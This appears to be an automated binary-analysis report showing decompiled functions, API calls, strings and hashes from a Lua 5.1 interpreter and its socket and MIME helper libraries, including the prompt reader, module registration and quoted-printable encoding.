lua_gettable.LUA5.1(?,00000003,?,005963E4), ref: 005929B7
lua_type.LUA5.1(?,000000FF,?,00000003,?,005963E4), ref: 005929BF
luaL_argerror.LUA5.1(?,00000003,boolean 'on' field expected), ref: 005929D4
lua_toboolean.LUA5.1(?,000000FF), ref: 005929DF
lua_pushstring.LUA5.1(?,timeout,?,000000FF), ref: 005929EF
lua_gettable.LUA5.1(?,00000003,?,timeout,?,000000FF), ref: 005929F7
lua_isnumber.LUA5.1(?,000000FF,?,00000003,?,timeout,?,000000FF), ref: 005929FF
luaL_argerror.LUA5.1(?,00000003,number 'timeout' field expected), ref: 00592A13
lua_tonumber.LUA5.1(?,000000FF), ref: 00592A1E
_ftol.MSVCRT ref: 00592A23

Strings

timeout, xrefs: 005929E4
boolean 'on' field expected, xrefs: 005929CC
number 'timeout' field expected, xrefs: 00592A0B

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.lua_gettable.lua_pushstring.lua_type.$L_typerror._ftollua_isnumber.lua_toboolean.lua_tonumber.lua_typename.
String ID: boolean 'on' field expected$number 'timeout' field expected$timeout
API String ID: 8799443-3541150494
Opcode ID: 2925484f3774942a4d77d0619932474069cc35c0a3b7082cc8416ac26111b8fd
Instruction ID: 99ac7ecc94861b1e845c59ed720c5d492b75644e743b86ecc1b8e88fc3ba2dce
Opcode Fuzzy Hash: 2925484f3774942a4d77d0619932474069cc35c0a3b7082cc8416ac26111b8fd
Instruction Fuzzy Hash: 3611826158572335DC2676246C1BF9F2D0E7F96725F140700F520352C3AA848F0745EF

Uniqueness

Uniqueness Score: -1.00%

Function 005910B0, Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E005910B0(void* __eax, intOrPtr _a4) {
				char _v32;
				int _t7;
				intOrPtr _t10;
				char* _t12;

				_t10 = _a4;
				_push(1);
				_push(_t10);
				L00594B06();
				_t12 =  &(( &_v32)[8]);
				if(__eax == 0) {
					L3:
					_push("invalid object passed to \'auxiliar.c:__tostring\'");
					_push(_t10);
					L00594AD0();
					_push(_t10);
					L00594AEE();
					return 1;
				} else {
					_push("__index");
					_push(_t10);
					L00594AD0();
					_push(0xfffffffe);
					_push(_t10);
					L00594B00();
					_push(0xffffffff);
					_push(_t10);
					L00594AFA();
					_t12 =  &(_t12[0x18]);
					if(__eax != 5) {
						goto L3;
					} else {
						_push("class");
						_push(_t10);
						L00594AD0();
						_push(0xfffffffe);
						_push(_t10);
						L00594B00();
						_push(0xffffffff);
						_push(_t10);
						L00594AF4();
						_t12 =  &(_t12[0x18]);
						if(__eax != 0) {
							_push(1);
							_push(_t10);
							L00594AE8();
							_t7 = sprintf( &_v32, "%p", __eax);
							_push( &_v32);
							_push(0);
							_push(0xffffffff);
							_push(_t10);
							L00594AE2();
							_push(_t7);
							_push("%s: %s");
							_push(_t10);
							L00594ADC();
							return 1;
						} else {
							goto L3;
						}
					}
				}
			}

0x005910b4
0x005910b8
0x005910ba
0x005910bb
0x005910c0
0x005910c5
0x0059110c
0x0059110c
0x00591111
0x00591112
0x00591117
0x00591118
0x00591129
0x005910c7
0x005910c7
0x005910cc
0x005910cd
0x005910d2
0x005910d4
0x005910d5
0x005910da
0x005910dc
0x005910dd
0x005910e2
0x005910e8
0x00000000
0x005910ea
0x005910ea
0x005910ef
0x005910f0
0x005910f5
0x005910f7
0x005910f8
0x005910fd
0x005910ff
0x00591100
0x00591105
0x0059110a
0x0059112a
0x0059112c
0x0059112d
0x0059113d
0x0059114a
0x0059114b
0x0059114d
0x0059114f
0x00591150
0x00591158
0x00591159
0x0059115e
0x0059115f
0x00591170
0x00000000
0x00000000
0x00000000
0x0059110a
0x005910e8

APIs

lua_getmetatable.LUA5.1(?,00000001), ref: 005910BB
lua_pushstring.LUA5.1(?,__index), ref: 005910CD
lua_gettable.LUA5.1(?,000000FE,?,__index), ref: 005910D5
lua_type.LUA5.1(?,000000FF,?,000000FE,?,__index), ref: 005910DD
lua_pushstring.LUA5.1(?,class), ref: 005910F0
lua_gettable.LUA5.1(?,000000FE,?,class), ref: 005910F8
lua_isstring.LUA5.1(?,000000FF,?,000000FE,?,class), ref: 00591100
lua_pushstring.LUA5.1(?,invalid object passed to 'auxiliar.c:__tostring'), ref: 00591112
lua_error.LUA5.1(?,?,invalid object passed to 'auxiliar.c:__tostring'), ref: 00591118
lua_touserdata.LUA5.1(?,00000001), ref: 0059112D
sprintf.MSVCRT ref: 0059113D
lua_tolstring.LUA5.1(?,000000FF,00000000,?), ref: 00591150
lua_pushfstring.LUA5.1(?,%s: %s,00000000,?,?,?), ref: 0059115F

Strings

__index, xrefs: 005910C7
class, xrefs: 005910EA
invalid object passed to 'auxiliar.c:__tostring', xrefs: 0059110C
%s: %s, xrefs: 00591159

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushstring.$lua_gettable.$lua_error.lua_getmetatable.lua_isstring.lua_pushfstring.lua_tolstring.lua_touserdata.lua_type.sprintf
String ID: %s: %s$__index$class$invalid object passed to 'auxiliar.c:__tostring'
API String ID: 3178485661-3452857538
Opcode ID: f2f90a8efa45504c495c486ef6c611b92b27f80be4b03e9d71cd5540f9705c74
Instruction ID: 0f07cbb5844f473d0f16bf6b6c4c6df122c7ea4cc0c30c5d154dea7d1b74263c
Opcode Fuzzy Hash: f2f90a8efa45504c495c486ef6c611b92b27f80be4b03e9d71cd5540f9705c74
Instruction Fuzzy Hash: F801A17198993232DD2172281C8BFDF2D0ABF96325F540300F431701C2FA49AA6A59EF

Uniqueness

Uniqueness Score: -1.00%

Function 005C1C90, Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E005C1C90(intOrPtr __eax, long long __fp0, intOrPtr _a4) {
				char _v0;
				void* _v524;
				intOrPtr _v528;
				intOrPtr _v532;
				char _v536;
				intOrPtr _v540;
				intOrPtr* _t30;
				intOrPtr _t35;
				intOrPtr _t42;
				char _t43;
				intOrPtr* _t55;
				intOrPtr _t57;
				void* _t59;
				long long* _t60;
				long long _t66;

				_t66 = __fp0;
				_t57 = _a4;
				_push(1);
				_push(_t57);
				_v536 = 0;
				L005C2132();
				L005C2150();
				_t56 = __eax;
				_t30 =  &_v536;
				_push(_t30);
				_push(0);
				_push(2);
				_push(_t57);
				_v540 = __eax;
				L005C212C();
				_t43 = _v536;
				_t55 = _t30;
				_push(0x40530000);
				_push(0);
				_push(3);
				_push(_t57);
				_v532 = _t55 + _t43;
				L005C2126();
				_t59 =  &_v540 + 0x28;
				L005C2150();
				_t42 = _t30;
				_v528 = _t42;
				if(_t55 != 0) {
					_push( &_v524);
					_push(_t57);
					L005C211A();
					_t60 = _t59 + 8;
					if(_t55 >= _v532) {
						L21:
						_push( &_v524);
						L005C2108();
						asm("fild dword [esp+0x14]");
						_push(_t43);
						goto L22;
					} else {
						goto L5;
					}
					do {
						L5:
						_t35 =  *_t55;
						if(_t35 == 0xa) {
							_push(0x5c3064);
							_push( &_v524);
							_t56 = _t42;
							L005C2114();
							_t60 = _t60 + 8;
						} else {
							if(_t35 != 0xd) {
								if(_t35 == 0x3d) {
									if(_t56 <= 3) {
										_push("=");
										_push( &_v524);
										_t56 = _t42;
										L005C2114();
										_t60 = _t60 + 8;
									}
									if(_v524 >=  &_v0) {
										_push( &_v524);
										L005C210E();
										_t60 = _t60 + 4;
									}
									 *_v524 =  *_t55;
									_t43 = _v524 + 1;
									_t56 = _t56 - 1;
									_v524 = _t43;
								} else {
									if(_t56 <= 1) {
										_push("=");
										_push( &_v524);
										_t56 = _t42;
										L005C2114();
										_t60 = _t60 + 8;
									}
									if(_v524 >=  &_v0) {
										_push( &_v524);
										L005C210E();
										_t60 = _t60 + 4;
									}
									 *_v524 =  *_t55;
									_t43 = _v524 + 1;
									_t56 = _t56 - 1;
									_v524 = _t43;
								}
							}
						}
						_t55 = _t55 + 1;
					} while (_t55 < _v532);
					_v540 = _t56;
					goto L21;
				} else {
					if(__eax >= _t42) {
						_push(_t57);
						L005C2120();
						asm("fild dword [esp+0x20]");
						_t60 = _t59 + 4 - 8;
					} else {
						_push("=");
						_push(_t57);
						L005C20F6();
						asm("fild dword [esp+0x24]");
						_t60 = _t59 + 8 - 8;
					}
					L22:
					 *_t60 = _t66;
					_push(_t57);
					L005C2102();
					return 2;
				}
			}

0x005c1c90
0x005c1c98
0x005c1ca1
0x005c1ca3
0x005c1ca4
0x005c1cac
0x005c1cb1
0x005c1cb6
0x005c1cb8
0x005c1cbc
0x005c1cbd
0x005c1cbf
0x005c1cc1
0x005c1cc2
0x005c1cc6
0x005c1ccb
0x005c1ccf
0x005c1cd1
0x005c1cd6
0x005c1cdb
0x005c1cdd
0x005c1cde
0x005c1ce2
0x005c1ce7
0x005c1cea
0x005c1cef
0x005c1cf3
0x005c1cf7
0x005c1d30
0x005c1d31
0x005c1d32
0x005c1d3b
0x005c1d40
0x005c1e13
0x005c1e17
0x005c1e18
0x005c1e1d
0x005c1e21
0x00000000
0x00000000
0x00000000
0x00000000
0x005c1d46
0x005c1d46
0x005c1d46
0x005c1d4a
0x005c1df2
0x005c1df7
0x005c1df8
0x005c1dfa
0x005c1dff
0x005c1d50
0x005c1d52
0x005c1d5a
0x005c1da8
0x005c1dae
0x005c1db3
0x005c1db4
0x005c1db6
0x005c1dbb
0x005c1dbb
0x005c1dcb
0x005c1dd1
0x005c1dd2
0x005c1dd7
0x005c1dd7
0x005c1de0
0x005c1de6
0x005c1de7
0x005c1de8
0x005c1d5c
0x005c1d5f
0x005c1d65
0x005c1d6a
0x005c1d6b
0x005c1d6d
0x005c1d72
0x005c1d72
0x005c1d82
0x005c1d88
0x005c1d89
0x005c1d8e
0x005c1d8e
0x005c1d97
0x005c1d9d
0x005c1d9e
0x005c1d9f
0x005c1d9f
0x005c1d5a
0x005c1d52
0x005c1e06
0x005c1e07
0x005c1e0f
0x00000000
0x005c1cf9
0x005c1cfb
0x005c1d17
0x005c1d18
0x005c1d1d
0x005c1d24
0x005c1cfd
0x005c1cfd
0x005c1d02
0x005c1d03
0x005c1d08
0x005c1d0f
0x005c1d0f
0x005c1e22
0x005c1e22
0x005c1e25
0x005c1e26
0x005c1e3d
0x005c1e3d

APIs

luaL_checknumber.LUA5.1 ref: 005C1CAC
_ftol.MSVCRT ref: 005C1CB1
luaL_optlstring.LUA5.1(?,00000002,00000000,00000000), ref: 005C1CC6
luaL_optnumber.LUA5.1(?,00000003,00000000,40530000,?,00000002,00000000,00000000), ref: 005C1CE2
_ftol.MSVCRT ref: 005C1CEA
lua_pushstring.LUA5.1(?,=,?,?,?,?,?,00000001), ref: 005C1D03
lua_pushnil.LUA5.1(?,?,?,?,?,?,00000001), ref: 005C1D18
luaL_buffinit.LUA5.1(?,?,?,?,?,?,?,00000001), ref: 005C1D32
luaL_addstring.LUA5.1(?,=,?,?,?,?,?,?,?,00000001), ref: 005C1D6D
luaL_prepbuffer.LUA5.1(?,?,?,?,?,?,?,?,00000001), ref: 005C1D89
luaL_pushresult.LUA5.1(?,?,?,?,?,?,?,?,00000001), ref: 005C1E18
lua_pushnumber.LUA5.1(?,?,?,?,?,?,?,?,?,?,00000001), ref: 005C1E26

Strings

=, xrefs: 005C1CFD, 005C1D65, 005C1DAE

Memory Dump Source

Source File: 00000002.00000002.469920871.00000000005C1000.00000020.00020000.sdmp, Offset: 005C0000, based on PE: true

Associated: 00000002.00000002.469875657.00000000005C0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469956724.00000000005C3000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469975310.00000000005C4000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470008958.00000000005C5000.00000002.00020000.sdmp Download File

Similarity

API ID: _ftol$L_addstring.L_buffinit.L_checknumber.L_optlstring.L_optnumber.L_prepbuffer.L_pushresult.lua_pushnil.lua_pushnumber.lua_pushstring.
String ID: =
API String ID: 1905715778-2257139842
Opcode ID: 2a598e78b970a2175c39fd865157c61dca81ff227377910987c17870264836b2
Instruction ID: 54f1ecbc8e48d78d4f1398c4b223b0a6a19545ee8497ea71a27ad0e719c39be8
Opcode Fuzzy Hash: 2a598e78b970a2175c39fd865157c61dca81ff227377910987c17870264836b2
Instruction Fuzzy Hash: C041C6725087465FC310EB959C46F6ABFE8BBD9304F480A2DF9CAA7202D634DA05C797

Uniqueness

Uniqueness Score: -1.00%

Function 100158A0, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000003,00000000,00000000,00000001,?,100157F6,?,?,00000000,00000000,?,00000000,00000000), ref: 100158AE
lua_pushvalue.LUA5.1(?,00000003), ref: 100158E9
lua_call.LUA5.1(?,00000000,00000001,?,?,?,?,00000003), ref: 10015902
lua_gettable.LUA5.1(?,00000003,?,00000000,?,?,00000000,00000000,?,00000000,00000000), ref: 10015921
lua_toboolean.LUA5.1(?,000000FF,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00000000), ref: 1001592C
lua_settop.LUA5.1(?,000000FE,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 1001593B
lua_pushlstring.LUA5.1(?,?,?,?,000000FE), ref: 10015945
luaL_addvalue.LUA5.1(?), ref: 10015952
lua_isstring.LUA5.1(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 10015962
lua_type.LUA5.1(?,000000FF), ref: 10015971
lua_typename.LUA5.1(?,00000000,?,000000FF), ref: 10015978
luaL_error.LUA5.1(?,invalid replacement value (a %s),00000000,?,00000000,?,000000FF), ref: 10015984
luaL_addvalue.LUA5.1(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 10015991
luaL_argerror.LUA5.1(?,00000003,string/function/table expected,00000000,00000000,?,00000000,00000000), ref: 100159A6

Strings

string/function/table expected, xrefs: 1001599E
invalid replacement value (a %s), xrefs: 1001597E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_addvalue.lua_type.$L_argerror.L_error.lua_call.lua_gettable.lua_isstring.lua_pushlstring.lua_pushvalue.lua_settop.lua_toboolean.lua_typename.
String ID: invalid replacement value (a %s)$string/function/table expected
API String ID: 4076345672-3477047044
Opcode ID: 0fdc4632bd342165a31564f14d17309dfb2be0676e4d11f8897f9b28433bf282
Instruction ID: de6ce9efab76cea4113e15e19c734ea8231c41c5a6043627c27fc2074ecc54d7
Opcode Fuzzy Hash: 0fdc4632bd342165a31564f14d17309dfb2be0676e4d11f8897f9b28433bf282
Instruction Fuzzy Hash: 9921B9AE605214BBE100E655BC42EEF735CCFC62FAF180225FA145A287E726BB5141F7

Uniqueness

Uniqueness Score: -1.00%

Function 1000F710, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

luaL_findtable.LUA5.1(?,FFFFD8F0,_LOADED,00000000,?,?,?,?,?,1000F706,?,?,?,00000000), ref: 1000F742

Part of subcall function 1000F900: lua_pushvalue.LUA5.1(?,?,?,?,?,?,1000F747,?,FFFFD8F0,_LOADED,00000000,?), ref: 1000F90E
Part of subcall function 1000F900: strchr.MSVCRT ref: 1000F91D
Part of subcall function 1000F900: lua_pushlstring.LUA5.1(?,?,00000000), ref: 1000F941
Part of subcall function 1000F900: lua_rawget.LUA5.1(?,000000FE,?,?,00000000), ref: 1000F949
Part of subcall function 1000F900: lua_type.LUA5.1(?,000000FF,?,000000FE,?,?,00000000), ref: 1000F951
Part of subcall function 1000F900: lua_settop.LUA5.1(?,000000FE), ref: 1000F960
Part of subcall function 1000F900: lua_createtable.LUA5.1(?,00000000,00000001), ref: 1000F97B
Part of subcall function 1000F900: lua_pushlstring.LUA5.1(?,00000001,?,?,00000000,00000001), ref: 1000F983
Part of subcall function 1000F900: lua_pushvalue.LUA5.1(?,000000FE,?,00000001,?,?,00000000,00000001), ref: 1000F98B
Part of subcall function 1000F900: lua_settable.LUA5.1(?,000000FC,?,000000FE,?,00000001,?,?,00000000,00000001), ref: 1000F993
Part of subcall function 1000F900: lua_type.LUA5.1(?,000000FF), ref: 1000F9A0
Part of subcall function 1000F900: lua_remove.LUA5.1(?,000000FE), ref: 1000F9B0
Part of subcall function 1000F900: lua_settop.LUA5.1(?,000000FD), ref: 1000F9C9

lua_getfield.LUA5.1(?,000000FF,?,?,FFFFD8F0,_LOADED,00000000,?,?,?,?,?,1000F706,?,?,?), ref: 1000F74B

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_type.LUA5.1(?,000000FF,?,000000FF,?,?,FFFFD8F0,_LOADED,00000000,?,?,?,?,?,1000F706,?), ref: 1000F753
lua_settop.LUA5.1(?,000000FE), ref: 1000F763
luaL_findtable.LUA5.1(?,FFFFD8EE,?,?,?,000000FE), ref: 1000F774
luaL_error.LUA5.1(?,name conflict for module '%s',?), ref: 1000F787

Part of subcall function 1000F230: luaL_where.LUA5.1(?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F238
Part of subcall function 1000F230: lua_pushvfstring.LUA5.1(?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F248
Part of subcall function 1000F230: lua_concat.LUA5.1(?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F250
Part of subcall function 1000F230: lua_error.LUA5.1(?,?,00000002,?,?,00000001,?,00000001,?,1000F169,?,bad argument #%d to '%s' (%s),?,?,?), ref: 1000F256

lua_pushvalue.LUA5.1(?,000000FF), ref: 1000F792
lua_setfield.LUA5.1(?,000000FD,?,?,000000FF), ref: 1000F79B
lua_remove.LUA5.1(?,000000FE), ref: 1000F7A6
lua_insert.LUA5.1(?,?,?,000000FE), ref: 1000F7B2
lua_pushvalue.LUA5.1(?,?,?,?,?,?,1000F706,?,?,?,00000000), ref: 1000F7CD
lua_pushcclosure.LUA5.1(?,?,?,?,?,?,?,1000F706,?,?,?,00000000), ref: 1000F7E6
lua_setfield.LUA5.1(?,FFFFFFFE,00000000,?,?,?,?,?,?,?,1000F706,?,?,?,00000000), ref: 1000F7F7
lua_settop.LUA5.1(?,?,?,?,?,?,1000F706,?,?,?,00000000), ref: 1000F810

Strings

name conflict for module '%s', xrefs: 1000F781
_LOADED, xrefs: 1000F733

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_pushvalue.lua_settop.$lua_type.$L_findtable.lua_pushlstring.lua_remove.lua_setfield.$L_error.L_where.S_newlstr.lua_concat.lua_createtable.lua_error.lua_getfield.lua_insert.lua_pushcclosure.lua_pushvfstring.lua_rawget.lua_settable.strchr
String ID: _LOADED$name conflict for module '%s'
API String ID: 2806790568-445948674
Opcode ID: d1e5e3bef4b2cdf7c4e44a7d0d6e6fc99f5adbddf68e586533cfb31dec72a467
Instruction ID: a3e79225ca518ab43f4c1c935315a2e20b41c37f2a781278450a66a55a4194d3
Opcode Fuzzy Hash: d1e5e3bef4b2cdf7c4e44a7d0d6e6fc99f5adbddf68e586533cfb31dec72a467
Instruction Fuzzy Hash: 492107755096193BB201DA299C82DBF729CEF862F8F10032CF534526DAEB25BA1142F7

Uniqueness

Uniqueness Score: -1.00%

Function 00401480, Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00401480(void* __ebx, void* __edx, void* __ebp, intOrPtr _a4) {
				signed int _v4;
				char _v515;
				char _v516;
				void* __edi;
				void* __esi;
				char* _t17;
				char* _t26;
				intOrPtr* _t27;
				void* _t28;
				char* _t31;
				void* _t33;
				char _t34;
				void* _t40;
				intOrPtr* _t43;
				void* _t44;
				char* _t46;
				void* _t47;
				intOrPtr _t49;
				signed int _t50;
				void* _t51;
				signed int _t52;
				signed int _t53;

				_t40 = __edx;
				_t33 = __ebx;
				_t50 =  &_v516;
				_v4 =  *0x404000 ^ _t50;
				_t49 = _a4;
				_t17 = "_PROMPT";
				if(_t49 == 0) {
					_t17 = "_PROMPT2";
				}
				_push(_t17);
				_push(0xffffd8ee);
				_push(_t33);
				L00401EE2();
				_push(0);
				_push(0xffffffff);
				_push(_t33);
				L00401F36();
				_t46 = _t17;
				_t51 = _t50 + 0x18;
				if(_t46 == 0) {
					_t46 = "> ";
					if(_t49 == 0) {
						_t46 = ">> ";
					}
				}
				L00401F0C();
				_t43 = __imp____iob_func;
				fputs(_t46,  *_t43() + 0x20);
				fflush( *_t43() + 0x20);
				_t26 = fgets( &_v516, 0x200,  *_t43());
				_t52 = _t51 + 0x20;
				_t44 = _t33;
				_t47 = 0xfffffffe;
				if(_t26 != 0) {
					_t27 =  &_v516;
					_t41 = _t27 + 1;
					do {
						_t34 =  *_t27;
						_t27 = _t27 + 1;
					} while (_t34 != 0);
					_t28 = _t27 - _t41;
					if(_t28 != 0) {
						_t31 = _t52 + _t28 + 3;
						if( *((char*)(_t52 + _t28 + 3)) == 0xa) {
							 *_t31 = _t34;
						}
					}
					if(_t49 == 0 || _v516 != 0x3d) {
						_t41 =  &_v516;
						_push( &_v516);
						_push(_t33);
						L00401ED0();
						_t53 = _t52 + 8;
					} else {
						_push( &_v515);
						_push("return %s");
						_push(_t33);
						L00401EF4();
						_t53 = _t52 + 0xc;
					}
					return E00401F90(1, _t33, _v4 ^ _t53, _t41, _t44, _t47);
				} else {
					return E00401F90(_t26, _t33, _v4 ^ _t52, _t40, _t44, _t47);
				}
			}

0x00401480
0x00401480
0x00401480
0x0040148d
0x00401495
0x0040149e
0x004014a3
0x004014a5
0x004014a5
0x004014ac
0x004014ad
0x004014b2
0x004014b3
0x004014b8
0x004014ba
0x004014bc
0x004014bd
0x004014c2
0x004014c4
0x004014c9
0x004014cd
0x004014d2
0x004014d4
0x004014d4
0x004014d2
0x004014dc
0x004014e1
0x004014ee
0x004014fa
0x0040150d
0x00401513
0x00401518
0x00401519
0x0040151a
0x00401532
0x00401536
0x00401540
0x00401540
0x00401542
0x00401545
0x00401549
0x0040154b
0x00401552
0x00401556
0x00401558
0x00401558
0x00401556
0x0040155c
0x0040157a
0x0040157e
0x0040157f
0x00401580
0x00401585
0x00401565
0x00401569
0x0040156a
0x0040156f
0x00401570
0x00401575
0x00401575
0x004015a2
0x0040151d
0x00401531
0x00401531

APIs

lua_getfield.LUA5.1(?,FFFFD8EE,_PROMPT), ref: 004014B3
lua_tolstring.LUA5.1(?,000000FF,00000000,?,FFFFD8EE,_PROMPT), ref: 004014BD
lua_settop.LUA5.1(?,000000FE), ref: 004014DC
__iob_func.MSVCR80 ref: 004014E7
fputs.MSVCR80 ref: 004014EE
__iob_func.MSVCR80 ref: 004014F4
fflush.MSVCR80 ref: 004014FA
__iob_func.MSVCR80 ref: 00401500
fgets.MSVCR80 ref: 0040150D
lua_pushfstring.LUA5.1(?,return %s,?), ref: 00401570
lua_pushstring.LUA5.1(?,?), ref: 00401580

Strings

return %s, xrefs: 0040156A
>> , xrefs: 004014D4, 004014ED
_PROMPT2, xrefs: 004014A5, 004014AC
=, xrefs: 0040155E
_PROMPT, xrefs: 0040149E

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __iob_func$fflushfgetsfputslua_getfield.lua_pushfstring.lua_pushstring.lua_settop.lua_tolstring.
String ID: =$>> $_PROMPT$_PROMPT2$return %s
API String ID: 3175113386-2928876284
Opcode ID: 5344250e0b051589115bd2dd5b5b1b2b27d7a3c3babdf594b4ffe2c124147d58
Instruction ID: 959a952ad845eae1764fa3c05ff63733f52954b4d29f44eac24731e78619b4a4
Opcode Fuzzy Hash: 5344250e0b051589115bd2dd5b5b1b2b27d7a3c3babdf594b4ffe2c124147d58
Instruction Fuzzy Hash: 823138714043047BD730AB29DC49B6F779C9B80318F44853AF806BB2E2EA3C9904868A

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD0, Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E00401DD0(intOrPtr __eax, char* _a4) {
				intOrPtr _v4;
				intOrPtr _v8;
				void* _v12;
				char* _t7;
				intOrPtr _t11;
				char* _t23;
				intOrPtr _t25;
				intOrPtr* _t26;
				void* _t28;
				void* _t30;

				L00401F3C();
				_t25 = __eax;
				if(__eax != 0) {
					_t7 = _a4;
					_push( &_v12);
					_push(E00401C20);
					_push(__eax);
					_v12 = _t7;
					_v8 = __eax;
					L00401F6C();
					_t23 = _t7;
					_t28 =  &_v12 + 0xc;
					if(_t23 != 0) {
						_push(0xffffffff);
						_push(__eax);
						L00401F4E();
						_t28 = _t28 + 8;
						if(_t7 != 0) {
							_push(0);
							_push(0xffffffff);
							_push(__eax);
							L00401F36();
							_t30 = _t28 + 0xc;
							if(_t7 == 0) {
								_t7 = "(error object is not a string)";
							}
							E00401060(_t7);
							_push(0xfffffffe);
							_push(_t25);
							L00401F0C();
							_t28 = _t30 + 0xc;
						}
					}
					_push(_t25);
					L00401EE8();
					if(_t23 != 0 || _v4 != _t23) {
						goto L4;
					} else {
						return 0;
					}
				} else {
					_t11 =  *((intOrPtr*)(__eax));
					_t26 = __imp____iob_func;
					if(_t11 != 0) {
						fprintf( *_t26(_t11) + 0x40, "%s: ");
					}
					fprintf( *_t26("cannot create state: not enough memory") + 0x40, "%s\n");
					fflush( *_t26() + 0x40);
					L4:
					return 1;
				}
			}

0x00401dd7
0x00401ddc
0x00401de0
0x00401e31
0x00401e39
0x00401e3a
0x00401e3f
0x00401e40
0x00401e44
0x00401e48
0x00401e4d
0x00401e4f
0x00401e54
0x00401e56
0x00401e58
0x00401e59
0x00401e5e
0x00401e63
0x00401e65
0x00401e67
0x00401e69
0x00401e6a
0x00401e6f
0x00401e74
0x00401e76
0x00401e76
0x00401e81
0x00401e86
0x00401e88
0x00401e89
0x00401e8e
0x00401e8e
0x00401e63
0x00401e91
0x00401e92
0x00401e9c
0x00000000
0x00401ea5
0x00401eab
0x00401eab
0x00401de2
0x00401de2
0x00401dec
0x00401df2
0x00401e00
0x00401e02
0x00401e15
0x00401e1d
0x00401e27
0x00401e30
0x00401e30

APIs

luaL_newstate.LUA5.1 ref: 00401DD7
__iob_func.MSVCR80 ref: 00401DFA
fprintf.MSVCR80 ref: 00401E00
__iob_func.MSVCR80 ref: 00401E0F
fprintf.MSVCR80 ref: 00401E15
__iob_func.MSVCR80 ref: 00401E17
fflush.MSVCR80 ref: 00401E1D
lua_cpcall.LUA5.1(00000000,Function_00001C20,?), ref: 00401E48
lua_type.LUA5.1(00000000,000000FF), ref: 00401E59
lua_tolstring.LUA5.1(00000000,000000FF,00000000), ref: 00401E6A
lua_settop.LUA5.1(00000000,000000FE,00000000), ref: 00401E89
lua_close.LUA5.1(00000000), ref: 00401E92

Strings

%s, xrefs: 00401E0A
(error object is not a string), xrefs: 00401E76, 00401E7B
cannot create state: not enough memory, xrefs: 00401E05
%s: , xrefs: 00401DF5

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __iob_func$fprintf$L_newstate.fflushlua_close.lua_cpcall.lua_settop.lua_tolstring.lua_type.
String ID: %s$%s: $(error object is not a string)$cannot create state: not enough memory
API String ID: 3039381710-2652681213
Opcode ID: 0d294e8007b782c5f260f875d05d25547fc49c7e0d1c8dd097b4ce241c2839a2
